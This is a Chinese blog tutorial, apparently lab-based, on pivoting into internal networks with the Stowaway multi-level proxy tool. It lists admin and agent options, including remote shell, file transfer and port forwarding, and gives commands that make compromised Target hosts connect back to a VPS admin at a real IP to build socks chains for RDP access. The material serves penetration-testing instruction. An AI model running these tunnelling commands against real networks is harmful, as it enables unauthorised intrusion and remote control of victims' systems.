04.Socks代理实战03
本文最后更新于485 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Socks代理实战三(Stowaway)

1.Stowaway简介

Stowaway是一个利用go语言编写、支持命令自动补全、专为渗透测试工作者制作的多级代理工具

用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能

工具地址: https://github.com/ph4ntonn/stowaway

使用教程:多级代理工具Stowaway_stoaway代理-CSDN博客

2.名词解释

  • 节点: 指 admin || agent
  • 主动模式: 指当前操作的节点主动连接另一个节点
  • 被动模式: 指当前操作的节点监听某个端口,等待另一个节点连接
  • 上游: 指当前操作的节点与其父节点之间的流量
  • 下游: 指当前操作的节点与其所有子节点之间的流量

3.Stowaway使用说明

Stowaway分为两个角色,分别是:

  • admin 渗透测试者使用的主控端
  • agent 渗透测试者部署的被控端

1)admin

admin 用法:

 ./admin -l <port> -s [secret]
 ./admin -c <ip:port> -s [secret]
 ./admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password]
 ./admin -c <ip:port> -s [secret] --rhostreuse
 ./admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password] --rhostreuse

admin 参数:

-l 被动模式下的监听地址 [ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP

admin 主 panel 选项:

(admin) >> help
  help                                             显示帮助信息
  detail                                          展示在线节点的详细信息
  topo                                             展示在线节点的父子关系
  use        <id>                                  选择你要使用的目标节点
  exit                                             退出 Stowaway

admin node panel 选项:

(node 0) >> help
 help                                            显示帮助信息
 listen                                          开始监听当前节点的端口
 addmemo    <string>                             为当前节点添加备忘录
 delmemo                                         删除当前节点的备忘录
 ssh        <ip:port>                            通过当前节点启动SSH
 shell                                           在当前节点上启动一个交互式外壳
 socks      <lport> [username] [pass]            启动一个socks5服务器
 stopsocks                                       关闭socks服务
 connect    <ip:port>                            连接到一个新节点
 sshtunnel  <ip:sshport> <agent port>            使用sshtunnel将节点添加到我们的拓扑结构中
 upload     <local filename> <remote filename>   上传文件到当前节点
 download   <remote filename> <local filename>   从当前节点下载文件
 forward    <lport> <ip:port>                    转发本地端口到特定的远程 ip:port
 stopforward                                     关闭转发服务
 backward    <rport> <lport>                     将远程端口(agent)后退到本地端口(admin)。
 stopbackward                                    关闭backward服务
 shutdown                                        终止当前节点
 back                                            返回到父面板
 exit                                            退出Stowaway

2)agent

agent 参数:

-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP

4.建立一层Socks代理

1)VPS上启动admin监听

./admin -l 9999 -s hack

Pasted image 20250222153642.png

2)Target1启动agent

./agent -c 120.79.150.243:9999 -s hack

Pasted image 20250222153804.png

3)开启socks代理

进入Target1的node节点,使用socks命令开启socks代理

use 0
socks 1080

Pasted image 20250223152135.png

4)检测是否开启socks代理

Pasted image 20250223174330.png

Pasted image 20250223152644.png

因为kali和Target1在同一网段下

5.建立二层Socks代理

1)在node中开启监听

listen

Pasted image 20250223154407.png

Pasted image 20250223155850.png

在 Target1 上可以看到 agent 监听了 7070 端口

2)Target2连接监听端口

在 Target2 中连接 Target1 监听的 7070 端口

./agent -c 192.168.22.11:7070 -s hack

Pasted image 20250223155956.png

3)开启Socks代理

admin 接收到新的 node 1, 进入 node 1 节点开启 socks 代理

Pasted image 20250223160522.png

4)修改proxychain配置文件

socks代理服务器为vps

Pasted image 20250223202903.png

5)进行RDP远程连接,

Pasted image 20250223174827.png

主动连接

./agent -l 7788 -s hack

Pasted image 20250223163436.png

connect 192.168.22.22:7788

Pasted image 20250223163401.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇